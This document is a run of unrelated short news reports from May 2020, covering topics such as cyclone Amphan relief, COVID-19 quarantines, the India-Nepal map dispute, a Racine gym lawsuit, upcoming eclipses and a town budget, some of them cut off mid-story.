Jigisha, an operations manager at Hewitt Associates Pvt Ltd in Noida, had been abducted on March 18, 2009, after she was dropped by her office cab at 4 am in south Delhis Vasant Vihar. A day later, her body was found near Surajkund in Faridabad, police had said.



Besides, in July this year, the trio was held guilty of charges pertaining to destruction of evidence, forgery, robbery and common intention under the Indian Penal Code.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.
The central city of Quang Ngai will receive and quarantine over 1,000 foreign specialists coming to work at the Dung Quat Economic Zone and Hoa Phat Steel Company.

Over 1,000 experts coming to Quang Ngai to be quarantined

The preventive measures were discussed during a meeting on May 20. Binh Son Refining and Petrochemical Company said they would invite 350 experts from various countries including Thailand, South Korea and Malaysia to help on the fourth general maintenance of Dung Quat Oil Refinery.



The maintenance will be carried out for 51 days starting from August 12.



The experts will start arriving in Vietnam in June. A maximum of 100 people at a time can be quarantined. The experts will be quarantined at Harmonia Hoa Phat Hotel.



From late May, Hoa Phat Dung Quat Steel Company also invited 711 experts to help with the final assembly of the factory. The company has contacted three locations for quarantining. Up to 350 people can be quarantined at the same time.



Over 1,000 experts will be tested twice during the 14-day quarantine period. Any positive case will be transferred and treated at Binh Son District Medical Centre 2.



Dang Ngoc Dung, vice chairman of Quang Ngai People's Committee, asked all agencies to be transparent and publicise all information about the reception and quarantine period in order to deal with emergencies as soon as possible. Nguoilaodong/Dtinews

100 foreign experts to work at Nghi Son refinery quarantined More than 100 foreign experts who are coming to work at Nghi Son Oil Refinery in Thanh Hoa Province will be quarantined.
Heritage Florida Jewish News is accepting nominations for the 2020 Heritage Human Service Award, which will be presented at the annual meeting of the Jewish Federation of Greater Orlando in August.

For more than 30 years, individuals who have made major, voluntary contributions of their talent, time, energy and effort to the Central Florida community have been honored with the selection and presentation of this award, said Jeff Gaeser, editor and publisher of the Heritage. Last years recipient was Dick Weiner. Former recipients have included Stuart Farb (2010)), Burt Chasnov (2008), and Bob Yarmuth (2004).

According to Gaeser, Each recipient chose their own path, but made considerable and long-lasting contributions to the Jewish community. Nominees for the 2020 award are individuals who do not look for recognition, but perform tikkun olamrepairing the worldout of internal motivation.

Nominations should be emailed to news@orlandoheritage.com with the subject Human Service Award, or typed on 8 1/2 x 11 paper and sent by mail to Heritage Florida Jewish News, Human Service Award, 207 OBrien Road, Suite 101, Fern Park, FL 32730. Included should be the name and phone number of the nominee, a documented list of his or her accomplishments, and the name and phone number of the nominator(s).

The Heritage is accepting nominations until Friday, June 26.
The mortal remains of Major Gurdial Singh Jallanwalia (retd), one of the oldest war veterans in the country who passed away at the age of 102, was consigned to flames on Friday.

While politicians and bureaucrates forgot to pay homage, the armys top command did not fail to salute its hero.

Wreaths were laid on behalf of chief of the army staff, General Manoj Mukund Naravane, director general artillery, general officer commanding-in-chief of Army Training Command, Shimla, XI Corps Commander general officer commanding and station commander Brig Manesh Arora.

His son Harmanderjeet said no one from the administration or the government called the family to pay their respects.

Major Jallanwalia, who was to turn 103 in August, was born on August 21, 1917. He had passed out from the Royal Indian Military School, Jalandhar, and joined the Mountain Artillery Training Centre in June 1935.

After completing his training, he was posted with the 14 Rajputana Mountain Battery at Abbottabad (now in Pakistan) and transferred to a Survey Troop at Campbellpur (also in Pakistan) in 1940.

Jallanwalia had participated in four battles, including World War II.

During the second world war in 1944-1945, he was posted in Burma (now Myanmar) and was shot on the lower abdomen by a Japanese soldier. But somehow, the soldier could not fire a second shot and Jallanwalias fellow soldier was quick to shoot the enemy.

In 1947 and 1948, Jallanwalia led a battle in Jammu and Kashmir region and during the 1965 war, he was posted in Amritsar.

After Independence, Jallanwalia participated in operations to check Pakistani infiltration in the Nowshera Sector in 1948. In the 1965 Indo-Pakistan war, he served as a counter-bombardment officer with XI Corps in the Amritsar-Lahore Sector.

He finally hung up his boots in 1967. His two sons  Harmanderjeet Singh and Harjinderjeet Singh  served the Indian Army and Indian Air Force, respectively, and were part of the 1999 Kargil conflict.

His grandson is also an Army officer. Major Jallanwalias father, Risaldaar Duleep Singh, had fought with the erstwhile British India Army in Mesopotamia during World War I.
Source: Xinhua| 2020-05-22 21:00:19|Editor: huaxia

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KIEV, May 22 (Xinhua) -- Ukraine and the International Monetary Fund (IMF) have reached an agreement on a new 5-billion-U.S.-dollar aid program to help the country cope with impacts of COVID-19 pandemic, the Interfax-Ukraine News Agency reported Friday.

The deal was based on the so-called Stand-By Arrangement, an economic program of the IMF involving financial aid to help countries in need during an economic crisis.

The program will ensure Ukraine's ability to continue moving along the growth path and resume wider reforms when the crisis ends, said Ivanna Vladkova Hollar, mission chief for the Ukraine IMF office.

Kiev expects to receive the first funds before the end of this month or in early June. Enditem
Mary-Kate Olsen, 33, is seeking a divorce from husband Olivier Sarkozy, 50, but has had two filings rejected in the New York courts since April, because the cases weren't deemed essential/emergency matters amid the COVID-19 pandemic.

As a result the TV star-turned entrepreneur has had to find a new place to call home until the legal proceedings can be sorted out in the courts.

And now Olsen is headed out of Manhattan and will move into a luxurious $325,000 rental in The Hamptons for the summer, according to Page Six.

Moving on: Mary-Kate Olsen, 33, is headed out of Manhattan and will move into a luxurious $325,000 rental in The Hamptons for the summer, according to Page Six

Olsen recently lost an emergency petition for divorce and was seeking to continue to use the couple's Hamptons home, their apartment in New York's Gramercy neighborhood and another apartment on East 49th Street in Manhattan.

In court documents she claimed: 'my husband expects me to move out of our home on [May 18] in the middle of New York City being on pause due to COVID-19.'

She added, 'I am petrified that my husband is trying to deprive me of the home we lived in and if he is successful, I will not only lose my home but I risk losing my personal property as well.'

Caught in courts: Olsen, 33, is seeking a divorce from husband Olivier Sarkozy, 50, but has had two filings rejected in the New York courts since April, because the cases weren't deemed essential/emergency matters amid the COVID-19 pandemic; they are pictured in Oct 2017

In her divorce papers, Olsen asked the court to uphold the terms of the prenuptial agreement she and Sarkozy signed.

The Full House actress had first attempted to divorce Sarkozy, who's the half-brother of former French President Nicolas Sarkozy, on April 17 but was blocked by the courts, which have been closed to all non-emergency cases since late March.

But she and her lawyers were told that the New York courts 'were not accepting divorce filings' in the wake of the coronavirus crisis.

COVID-19 fallout: The Full House actress first attempted to divorce Sarkozy, who's the half-brother of former French President Nicolas Sarkozy, on April 17 ; they are pictured in Aug 2015

The estranged couple reportedly clashed over having children prior to their split, according to a report in People.

'A few years ago, having a baby was not a priority for [Mary-Kate]. This has changed,' a source told the publication.

Sarkozy, who has two adult kids with his ex-wife Charlotte Bernard, is said to have not wanted to start a family with Olsen, while she did.

Making her case: In her divorce papers, Olsen asked the court to uphold the terms of the prenuptial agreement she and Sarkozy signed

With New York still leading the nation in confirmed coronavirus cases and deaths, there's still no exact date as to when the Olsen-Sarkozy case will move forward.

So far Olsen, herself, has yet to comment on the pending divorce.

The couple tied the knot in a small ceremony in 2015 at their New York City home.

Over the years, the couple have been extremely private when it came to discussing their relationship in public.

Olsen's new Hamptons rental is reportedly a multi-million dollar estate that has it's own private dock
By West Kentucky Star Staff May. 21, 2020 | 06:33 PM | PADUCAH

On Thursday, detectives with the McCracken County Drug Division say they noticed 50-year-old Bobby J. Copeland of Paducah, driving a vehicle recklessly on Husbands Road.





Detectives attempted to stop Copeland, however he reportedly began to flee. While fleeing, deputies say he was swerving into the opposite lane of traffic, nearly striking other law enforcement vehicles.





A short time later, detectives say that Copeland pulled into a driveway and threw illegal contraband out of his window, which was allegedly revealed to be a methamphetamine pipe, pills, and methamphetamine. He reportedly also had marijuana in his vehicle.





He was arrested and lodged in the McCracken County Jail. He is being charged with second offense trafficking in methamphetamine, second offense DUI, first degree fleeing or evading police, tampering with physical evidence, reckless driving, no turn signal, resisting arrest, and possession of marijuana.

A Paducah man that was recently released from prison is now facing numerous drug and other charges after a traffic stop.
A 22-year-old man, who returned



to Manipur from Delhi recently by road, tested positive for COVID-19, taking the number of active cases in the state to 24, officials said on Friday.

The man had been under quarantine since his return, and he was admitted to a hospital now.

"Fresh cases are coming only from stranded people," officials said and urged the people not to panic.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
RACINE  A Racine business owner who says the future of his gym is in jeopardy due to the City of Racines Safer at Home order has filed a lawsuit against the City of Racine and Racine Public Health Administrator Dottie-Kay Bowersox.

David Yandel, owner of Harbor Park CrossFit, 3801 Blue River Ave., says that business has dropped by more than 25% since the enforcement of the Racine order, according to an affidavit filed Thursday.

Harbor Park Crossfit Members of Harbor Park Crossfit get in a workout on Jan. 1, 2018. David Yandel, the owner of the business, filed a lawsuit against the City of

Yandel also claims that he is losing customers to competitors who are not forced to operate under the jurisdiction of Racines order. I am unable to operate the business due to the Racine order under threat of criminal prosecution, Yandels affidavit said.

Mayor Cory Mason was served the lawsuit in front of members of the media Friday morning during a press conference. Mason said he had no comment on the lawsuit Friday.

No immediate relief

The statewide Safer at Home order was overturned by the Wisconsin Supreme Court on May 13 by a 4-3 vote. Afterward, state Attorney General Josh Kaul said that local orders were still legal if there was an ongoing public health emergency in a specific locality.

Bowersox then issued the Racine Safer at Home order. Yandels lawsuit alleges that Bowersoxs order is an overreach of her authority and is unconstitutional and unlawful.

Under the citys reopening plan unveiled Friday, Yandel may operate his gym starting Tuesday with a limit of up to 10 people inside at a time.

Yandels lawsuit said that the Citys Safer at Home order will lead to the likely closure of the business due to significant loss of revenue and loss of customers due to the Racine order.

The suit asks the court to find the Racine Safer at Home order unlawful, invalid and unenforceable.

A request to temporarily halt Racines Safer at Home order, thus allowing Yandels business to reopen immediately while the case makes its way through the court system, was denied Friday.

The city and Bowersox now must now file an answer to the lawsuit.

Federal lawsuit

This is the second lawsuit filed this week against against Bowersox. A federal lawsuit was filed Wednesday: It names Bowersox and 20 other Wisconsin officials, alleging that locally mandated Safer at Home orders are unconstitutional.

The first lawsuit, which lists a Racine resident as one of its 17 plaintiffs, asks the Eastern District of Wisconsin of the U.S. District Court to end all Safer at Home orders in Wisconsin.

The local orders unlawfully interfere with plaintiffs rights to work and to worship, to gather and assemble, in violation of their Federal Constitutional Rights, the complaint alleges.

Other defendants in the case represent Dane, Outagamie, Winnebago, Green and Rock counties, the City of Appleton, the Grand Chute Police Department, the Wisconsin State Capitol Police and the City of Milwaukee, as well Department of Health Services Secretary-designee Andrea Palm and Gov. Tony Evers.

The plaintiffs are represented by Joseph W. Voiland of Veterans Liberty Law, which is based in Cedarburg. Voiland served as an Ozaukee County Circuit Court judge from 2013-2019.

Adam Rogan of The Journal Times contributed to this story.

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The University of California has voted to phase out controversial ACT and SAT requirements across all ten campuses.

It comes amid claims the tests put low-income, black and Hispanic students at a disadvantage.

The California system, whose marquee schools include the University of California, Los Angeles, and the University of California, Berkeley, will no longer require SAT and ACT test results for in-state freshmen applicants.

The University of California has voted to phase out controversial ACT and SAT requirements across all ten campuses. Campus view of UCLA pictured above

The system's Board of Regents on Thursday voted to suspend the tests for five years.

Under the new plan, in-state students will still be able to submit SAT and ACT scores for 2021 and 2022 if they wish, although those who don't will not be penalized.

The new policy also drops essay and writing tests.

Meanwhile, the University of California will look into whether it's feasible to create its own admissions test, possibly in collaboration with other California schools.

If a test can't be created by 2025, the university will waive the standardized testing requirement altogether.

The system's Board of Regents on Thursday voted to suspend the tests for five years

Critics of the ACT and SAT tests have argued that they contain an inherent bias that puts privileged children at an unfair advantage.

Senior vice president at the American Council on Education, Terry W. Hartle, believes other universities nationwide could be influenced by the University of California system.

'The University of California is one of the best institutions in the world, so whatever decision they make will be extraordinarily influential,' he told the New York Times.

'Whatever U.C. does will have ripple effects across American higher education, particularly at leading public universities.'

The California State University system announced earlier this month that its campuses will stay mostly online this fall, citing predictions of a virus resurgence later this year.
Prime Minister Narendra Modi on Friday announced an interim assistance of Rs 1,500 crore for West Bengal and Odisha after reviewing the situation caused by cyclone 'Amphan' that claimed 80 lives, lay waste to standing crops in thousands of hectares, and ruined infrastructure.

Modi reviewed the situation in West Bengal and Odisha with chief ministers Mamata Banerjee and Naveen Patnaik, two days after the cyclone, the worst in years, devastated their states.

The prime minister announced an interim assistance of Rs 1,000 crore for West Bengal, already battling a surge in COVID-19 cases and deaths, besides an influx of migrant labourers, after a review meeting with Governor Jagdeep Dhankhar and Chief Minister Mamata Banerjee, and the state's top officials.

Banerjee, however, insisted that the state had sufferred losses of over Rs 1 lakh crore for which it needed to be compensated.

The prime minister undertook an aerial survey of the vast swamp that many districts have turned into, after the cyclone dumped copious rain on Wednesday and the accompanying winds flattened homes, bludgeoned massive trees to the ground like matchsticks, and plunged city after city into darkness.

After undertaking an aerial survey of the affected areas with Dhankhar and Banerjee, and holding a review meeting with them and top officials, Modi announced an interim relief of Rs 1,000 crore for the state where 80 people have so far lost their lives in the carnage wrought by the cyclone.

Banerjee, however, insisted that the damage caused by the cyclone was "much more than a national disaster" and said the state had suffered losses of no less then Rs 1 lakh crore.

Modi also announced an ex-gratia of Rs 2 lakh to the families of each of those killed and Rs 50,000 for the injured.

The prime minister later flew down to Odisha, where he announced a financial assistance of another Rs 500 crore, after making an aerial survey of the affected districts with Governor Ganeshi Lal and Chief Minister Naveen Patnaik.

The prime minister said further assistance will be provided for long-term rehabilitation measures after getting a detailed report from the state government.

The leaders undertook an aerial survey of several coastal districts like Jagatsinghpur, Kendrapara, Bhadrak, Balasore, Jajpur and Mayurbhanj for about 90 minutes.

Union ministers Dharmendra Pradhan and Pratap Sarangi were among those present at the review meeting Modi held with Patnaik and others at the Biju Patnaik International Airport in Bhubaneswar.

The prime minister complimented both the TMC government of West Bengal and the BJD dispensation in Odisha for squaring up to the challenge posed by the devastation that the cyclone had caused.

Large parts of Kolkata were still plunged into darkness, while mobile internet services played hide and seek.

The turbulence caused by the cyclone has compounded the worries for the two states where the disease is spreading its tentacles fast, fuelled by the return home of lakhs of migrant workers.

"Dealing with the COVID-19 pandemic requires social distancing, whereas battling the cyclone entails moving people to safer places," Modi said, acknowledging the fact that the presence of a large number of people in relief shelters in the aftermath of the cyclone could defeat government's attempts at containing the viral nightmare.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The United Nations secretary-general is again urging factions in conflict to heed his call for a global ceasefire to help tackle the COVID-19 pandemic.

In a report to the UN Security Council released Thursday, Antonio Guterres pointed to the more than 20,000 civilians killed or injured in 2019 attacks in 10 countries - and millions more forced from their homes by fighting.

He said the pandemic is "the greatest test the world has faced" since the United Nations was established 75 years ago and has already had a severe impact on efforts to protect civilians, especially in conflict-affected countries where weak health care systems can be overwhelmed.

The UN chief said support for his March 23 cease-fire appeal from governments, regional organizations, armed groups, civil society and individuals throughout the world has been "encouraging" - but he said in many instances "challenges in implementing the cease-fire still need to be overcome."

Guterres reiterated his global cease-fire call, saying as the world confronts the monumental challenge of the COVID-19 pandemic, the need to silence the guns could not be more acute.

He issued the appeal in his annual report to the Security Council on the protection of civilians where he stressed that the most effective way to protect them is to prevent the outbreak, escalation, continuation and recurrence of armed conflicts.
Ministers have pushed for the 2m social distancing rule to be eased as the government considers lifting more Covid-19 restrictions.

At a Cabinet meeting, ministers suggested Ireland should follow other European countries in reducing the strict social distancing rule to 1m.

The move would have significant implications for businesses seeking to reopen and also allow schools have more students in classrooms when they return.

The 2m social distancing rule is based on the spread of droplets that could contain the coronavirus.

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It was noted at the Cabinet meeting that the World Health Organisation (WHO) advises 1m rather than 2m.

However, European Centre for Disease Prevention and Control suggests the further distance is the best advice.

Sources said Disability Minister Finian McGrath and Minister of State for Higher Education Mary Mitchell OConnor raised the issue at the cabinet meeting.

After the meeting, two other Cabinet ministers also said the reducing the distance should be consider to make it easier for businesses and schools to reopen.

If you had a metre between each desk in a school or tables in a restaurant that would make a big difference, a Senior minister said.

Its not one for today or tomorrow but it could become a big issue in a few weeks time, the source added.

Taoiseach Leo Varadkar told ministers he will organise a meeting with Chief Medical Officer Tony Holohan where they can raise their concerns about public health advice.

Labour Party leader Alan Kelly said it would make life much easier for society and businesses if the social distancing rule was reduced to 1m.

After the complete confusion over the bonkers 2 hour rule this week we now need a clear explanation from the Government on why we are specifically using the 2 metre rule and if the WHO is recommending that distance, otherwise it would make life much easier for society and businesses if we, like the rest of the EU, were using the one meter rule, if that was possible, he said.
Source: Xinhua| 2020-05-22 11:21:21|Editor: huaxia

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by Naim-Ul-Karim

DHAKA, May 22 (Xinhua) -- Bangladeshi Foreign Minister AK Abdul Momen has hailed Chinese President Xi Jinping's speech at the 73rd World Health Assembly (WHA) on Monday, saying that the Chinese leader has injected fresh dynamism into global fight against COVID-19.

In an interview with Xinhua Tuesday, Momen said: "We highly welcome his policy statement."

In a speech delivered at the opening of the WHA session via video link on Monday, Xi announced concrete measures to boost global fight against COVID-19, such as providing international aid and making China's COVID-19 vaccine a global public good when available.

"Definitely Chinese proposals are very important," said Momen. He expressed the hope that China would go ahead with these measures to encourage other players to make further contributions to addressing the global health challenge.

"We admire him and his policy statements at the assembly aimed at injecting fresh dynamism into global pandemic combat," he said, adding that the proposals made by the Chinese leader definitely ushered in hope for economic recovery of all the countries and regions now feeling the pinch of COVID-19.

Momen said it is not possible for a single country, organization or individual to fight alone such a massive crisis.

He said the only way forward for the world is now to have multilateral cooperation under recognized global bodies like the World Health Organization.

"This is a global crisis. And this should be resolved globally through combined efforts," said Momen.

With reference to his recent discussions with Chinese State Councilor and Foreign Minister Wang Yi, he said "Chinese doctors and experts have shared the prevention and control knowledge on the COVID-19 pandemic with our health professionals via video workshop and other channels."

Additionally, Momen said that they got COVID-19 test kits and other medical supplies first from China.

"We all have to work together," he said, adding that this crisis has further deepened Bangladesh's relations with China on various global issues.

Regarding Xi's proposal of establishing a "global humanitarian response depot and hub in China", he said such an initiative could bolster efforts for coordinated global cooperation in the future to combat similar crises. Enditem
Washington: The deadly coronavirus came from China and the US is not going to take it lightly, President Donald Trump has reiterated on Thursday.

"It came from China. We are not happy about it. We just signed a trade deal; the ink wasn't dry and all of a sudden this floated in. We are not going to take it lightly, Trump said participating in a Listening Session with African-American Leaders in Michigan.

Trump in the last several weeks has been very critical of China's inability to control the spread of the novel coronavirus within its territory. By Thursday more than 94,000 Americans have died due to the coronavirus and over 1.6 million have tested positive.

He has so far not given any indication of the steps that he is contemplating taking against China. Meanwhile, the pressure is building on his administration, mainly from the Republican lawmakers on this.

On Thursday, Senators Ted Cruz and Rick Scott, along Mike Braun, Marsha Blackburn, Joni Ernst, Martha McSally and Tom Cotton, introduced the COVID-19 Vaccine Protection Act to prevent the Chinese Communist Party from stealing or sabotaging American COVID-19 vaccine research.

The bill requires a thorough national security evaluation and clearance by the Department of Homeland Security, the Department of State, and the Federal Bureau of Investigation of all Chinese student visa holders taking part in activities related to COVID-19 vaccine research.

"The same Chinese Communist Party that covered up the coronavirus outbreak also routinely engages in state sponsored theft of intellectual property," Cruz said. "We cannot allow China to steal or interfere with American research and development of a vaccine, he added.

"Communist China is responsible for the coronavirus pandemic, and their lies and misinformation cost American lives," Scott said.

"We cannot let Communist China off the hook for this, and we absolutely cannot allow Communist China to steal or sabotage any American research efforts related to the Coronavirus vaccine. The COVID-19 Vaccine Protection Act protects American efforts to create a vaccine as we work to end this pandemic," he added.

The COVID-19 Vaccine Protection Act, among others requires an enhanced vetting of nationals of the Chinese nationals in the US as non-immigrants under F, J, or M student visas to determine if any student visa holders are a national security threat.

Once the review is complete, authorizes Department of Homeland Secretary, in consultation with other agencies, to continuously monitor all non-immigrant student visa holders (F, M, J) who are Chinese nationals while in the US and are engaged in, or have access to, the research of any potential COVID-19 vaccine or COVID-19 related material.

Republican Whip and Ranking Member of the Select Subcommittee on the Coronavirus Crisis Steve Scalise alleged that China lied to the world on coronavirus.

"During a critical period in December and January, China withheld evidence of the virus: evidence that confirmed human to human transmission of the virus, evidence of the extent of the spread. China refused entry of American and other medical experts from around the world for weeks, he said.

And during this time, China hoarded medical supplies like masks, gowns, and other life-saving PPE. Chinese exports of surgical masks, gowns, and gloves were stifled by the Chinese Communist Party during this period. China knew the danger posed by the virus and while they hid the truth, they used the time to stock up on vital medical supplies, Scalise said.

While Chinese authorities limited domestic flights from Wuhan to other Chinese cities like Beijing and Shanghai, China's government urged international carriers to maintain their flight schedules, seeding the virus throughout the rest of the world, he alleged.
Kennedy Agyapong, has offered to assist embattled man of God, Bishop Daniel Obinim meet his bail conditions.

The founder and leader of International Godsway Church is still in custody after allegedly failing to meet a 100,000 plus three sureties bail condition.

He has been charged with the offence of publication of false news and forgery of documents contrary to sections 208 and 159 respectively of the Criminal and other offences Act, (1960; Act 29).

Bishop Obinims arrest follows a crusade launched by the outspoken legislator to expose what he describes as charlatans in cassock.

However, after spending days in police cell, Ken Agyapong says the fate of the self-acclaimed Angel breaks his heart.

He revealed that Bishop Obinim has been able to meet two of the three bail condition hence he was prepared to get his office to help in order to get him released.

Obinim must now know he does not have any friends; he needs just one person to meet his bail condition and no one is ready to assist him but Im ready to offer my house to bail him, he said in an interview on Net 2 television Friday.

This gesture, the Assin Central MP said, is to enable the Economic and Organised Crime (EOCO) commence its investigations into the man of Gods activities.

Ken Agyapong, Member of Parliament for Assin Central, has vowed to deal with all fake pastors who are taking advantage of vulnerable persons in society.

---myjoyonline
Indo-Nepal Treaty of Peace and Friendship signed: A bilateral treaty between India and Nepal was signed on July 31, 1950 by then Nepals PM Mohan Shumsher Jang Bahadur Rana and Indian ambassador to Nepal Chadreshwar Narayan Singh in Kathmandu. The Treaty of Peace and Friendship was enacted between the two South Asian neighbours to maintain a close strategic relationship. (Image: Reuters)

Its a battle of the maps now.

The Nepalese government has released its new political map which shows Kalapani, Lipiyadhura and Lipulekh as its own territories. As these territories fall under the Pithoragarh district of Uttarakhand, New Delhi was quick to react arguing that such artificial enlargement of territorial claims will not be accepted.

However, beyond this back and forth, it is Nepalese Prime Minister KP Oli who has upped the ante by being undiplomatic at a time when diplomacy should have been the central means to resolve an escalating dispute between two neighbours amicably.

In his statement to the nations Parliament on these tensions, Oli went overboard in blaming India for the spread of Coronavirus cases in his country, arguing that the virus from India looks more lethal than Chinese and Italian. In a statement that was clearly meant to provoke India, Oli said those who are coming from India through illegal channels are spreading the virus in the country and some local representatives and party leaders are responsible for bringing in people from India without proper testing. If the aim is to resolve the issue, then clearly this was not the way to go.

The dispute over Kalapani and Lipulekh goes all the way back to the Treaty of Sugauli, which was signed in December 1815 by the East India Company and the Kingdom of Nepal after the end of the Anglo-Nepalese War (1814-1816), where Nepal lost one-third of its territory, The recent tensions have more contemporary cause. Tensions have been growing ever since India released its new political map following creation of two Union Territories of Jammu and Kashmir, and Ladakh from erstwhile state of Jammu and Kashmir, on November 2. Nepal had protested over the inclusion of Kalapani in Indias map with New Delhi refusing to concede any boundary alterations.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

Earlier this month, Defense Minister Rajnath Singh inaugurated a Link Road from Dharchula to Lipulekh to help pilgrims going to Kailash-Mansarovar in the Tibet Autonomous Region. Nepals foreign ministry summoned the Indian envoy to protest against the construction of the road. Interestingly, this is a road that has been under construction for the last several years with the full knowledge of Nepal.

On May 15, Chief of the Army Staff General MM Naravane added another dimension when he suggested that Nepal's objections to the road were at the behest of someone else. He was hinting at the possible role of China in instigating these border tensions between India and Nepal at a time when multiple clashes have been taking place between Indian and Chinese troops along the LAC.

Chinas growing role in Nepal is no secret and it has taken on an altogether new dimension under the Nepal Communist Party (NCP). The two-year-old NCP emerged when two dominant communist parties of Nepal, the Marxist-Leninist and the Maoist, merged at the behest of Chinese Communist Party. Earlier this month as factionalism grew in the ruling NCP, it was the Chinese ambassador in Nepal that managed the crisis and helped in defusing it.

Olis performance as Nepals Prime Minister has been underwhelming to put it mildly. As a consequence, his reflexive anti-India agenda serves him well in shoring up his nationalistic credentials. His performance as an administrator has come under intense scrutiny and criticism during the COVID-19 pandemic, and hes losing public support. What better way to burnish his credentials than by upping the ante on the border question with India.

This is not to suggest that New Delhi has managed the episode well.

As a bigger power, it is very natural that its smaller neighbours will be very touchy about sovereignty and territorial issues and it is incumbent upon New Delhi to manage them with diplomatic finesse. It is true that Prime Minister Narendra Modis outreach to Nepal has been serious over the last few years and it has indeed made it possible for India to have a sense of normalcy in ties even with a leader like Oli who has been very vocal in his criticism of India, and very comfortable in the company of his fellow Chinese communists.

However, with a country such as Nepal and in fact with other smaller neighbours, India should be in a continuous process of dialogue to remove any apprehensions and doubts that might clog the system from time-to-time. In this case, it was not done with the effectiveness that was needed, and the results are there to see.

Now India should make the first move by initiating high-level contacts and Nepalese leadership should recognise that negative rhetoric will only jeopardise the possibility of an amicable resolution to a historical conflict. India-Nepal ties is far too important to be left to the vagaries of misperception and miscommunication.
The year 2020 is packed with spectacular cosmic activity, and June will play host to two notable celestial events: a partial penumbral lunar eclipse will darken the night sky on June 5 and 6, while an annular solar eclipse is set to occur on June 21.

According to Time and Date, penumbral lunar eclipses can be hard to differentiate from regular full moons; however, avid stargazers in much of Europe, Asia, Australia, Africa, and South America should be able to catch a glimpse of this fascinating alignment of the Sun, Earth, and the Moon.

The penumbral lunar eclipse will begin at 12:45 a.m. EST on June 5 and will peak at 2:24 p.m. on the same day.

The Moon during a lunar eclipse in the National Park of Teide Volcano, Tenerife, on June 15, 2011 (DESIREE MARTIN/AFP via Getty Images)

The annular (ring-shaped) solar eclipse on June 21, where the Moon will pass directly in front of the Sun leaving a visible ring of fire, will be seen from Earths Eastern Hemisphere only, across Africa, southeastern Europe, Asia, and the Pacific.

The very best views, advises Space.com, will be afforded to people residing on the latitudinal line running from central Africa to northern India, China, and Taiwan. The first sighting will occur at 11:47 p.m. EST.

Pictures depicting different stages of the Moon during a total lunar eclipse in the night sky over Rafah on the Gaza Strip, Palestine, on June 15, 2011 (SAID KHATIB/AFP via Getty Images)

An eclipse occurs when the light from one celestial body is blocked by another; from the point of observation, in this case Earth, the obstructing body casts a shadow upon that position of viewing.

Here on Earth, we may experience two different types of eclipse: one, where the light of the Sun is obstructed by the Moon, which is known as a solar eclipse; and the other, where Earth is aligned between the Sun and the Moon, and Earths shadow is cast upon the Moon, which is called a lunar eclipse.

A participant peers through a telephoto camera lens to view a partial lunar eclipse in Jakarta, Indonesia, on June 4, 2012. (OSCAR SIAGIAN/AFP/GettyImages)

According to Universe Today, a penumbral lunar eclipse occurs when the Moon lies in the penumbrapartially in shadowof Earth. As such, the effect is less dramatic than during a total eclipse. A lunar eclipse may only occur in conjunction with a full moon.

An annular solar eclipse occurs when the Moons diameter appears visibly smaller than the Suns from Earth; passing between Earth and the Sun, the Moon partially obstructs the Suns light, leaving a ring of fire, the annulus of our solar systems bright star, visible.

A composite image by NASA depicting the progression of a partial solar eclipse over Ross Lake in Northern Cascades National Park, Washington, on Aug. 21, 2017 (Bill Ingalls/NASA via Getty Images)

An annular eclipse, according to Space.com, occurs when the Moon passes directly in front of the Sun during a lunar apogee, when the Moon is farthest from Earth on its elliptical orbit.

A solar eclipse can only be observed from a relatively narrow geographic position, while a lunar eclipse may be viewed from anywhere the Moon is visible from.

A total solar eclipse as seen from Madras, Oregon, on Aug. 21, 2017 (ROB KERR/AFP via Getty Images)

According to EarthSky, the annular eclipse of the Sun on June 21 will last only 1 minute, 22 seconds at the beginning of the eclipses path and 1 minute, 17 seconds near the end. At its peak, the eclipse will last for just 38 seconds.

While the annular eclipse will, sadly, be long over by the time the Sun rises over the Americas, on June 21, a small consolation for American astronomy fans lies in the opportunity to see the young moonthe start of a new moonafter sunset on the same day.

A couple watches the solar eclipse over Zhengzhou in central Chinas Henan province on Jan. 15, 2010. (STR/AFP via Getty Images)

A warning to stargazers everywhere: do exercise caution by not staring directly at the Sun neither before nor during an eclipse, which could cause damage to the eyes. Glasses with fit-for-purpose solar filters can be used, but regular sunglasses will not provide safe ocular protection.

Keen observers can also protect their eyes using a homemade pinhole camera. Lunar eclipses, on the other hand, are safe to view directly without eye protection.

The Moon covers the Sun as light escapes around it during the first full solar eclipse of the millennium above Lusaka, Zambia, on June 21, 2001. (SALIM HENRY/AFP via Getty Images)

According to NASA, the year 2020 is set to welcome a total of six eclipses: four lunar, and two solar. Perhaps the biggest eclipse event of 2020 will be a total solar eclipse over South America on Dec. 14.

This total eclipse will cause an eerie 2 minutes and 10 seconds of obscured daylight and will be most visible from Chile and Argentina; a partial solar eclipse will be visible from much of South America and parts of southwest Africa.
EAST HAVEN  The average homeowner will pay about $240, or $20 a month, more under the $93.45 million fiscal 2020-21 budget that the Town Council approved Thursday night.

The tax rate will rise to 34.25 mills, from the current years 32.42 mills, an increase of 1.83 mills.

The council approved the budget, which includes $47.99 million for education, by a 10-3 margin, with three of the councils four Republicans voting against it. The approval came after the council made a few adjustments that resulted in a net savings of $59,183 compared to the budget Mayor Joe Carfora forwarded to the council.

Councilman Robert Ranfone, R-4, joined the councils nine Democrats in voting for the budget while council members Sal Maltese, R-2, Linda Hennessey, R-4, and Samantha Parlato, R-4, all voted against it.

